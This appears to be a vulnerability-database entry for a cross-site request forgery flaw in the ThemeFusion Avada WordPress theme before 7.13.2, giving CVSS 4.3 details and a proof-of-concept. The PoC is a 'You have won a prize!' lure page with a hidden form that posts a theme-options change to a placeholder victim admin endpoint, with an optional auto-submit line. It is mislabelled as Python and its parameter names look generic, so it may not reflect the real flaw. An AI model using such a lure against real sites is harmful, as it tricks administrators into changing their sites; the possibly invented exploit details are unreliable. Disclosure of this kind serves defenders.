Cross-Site Request Forgery (CSRF) vulnerability in ThemeFusion Avada allows Cross Site Request Forgery.This issue affects Avada: from n/a before 7.13.2.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
ThemeFusion Avada < 7.13.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC HTML for demonstrating CSRF in Avada -->
<!-- Host this on an attacker-controlled server -->
<html>
<body>
<h1>You have won a prize! Click below.</h1>
<!-- The form targets the vulnerable endpoint of the Avada theme -->
<form action="http://victim-site/wp-admin/admin.php" method="POST">
<input type="hidden" name="action" value="avada_update_theme_options" />
<input type="hidden" name="avada_options[malicious_setting]" value="hacked_value" />
<input type="submit" value="Claim Prize" />
</form>
<script>
// Optional: Auto-submit to reduce user interaction awareness
// document.forms[0].submit();
</script>
</body>
</html>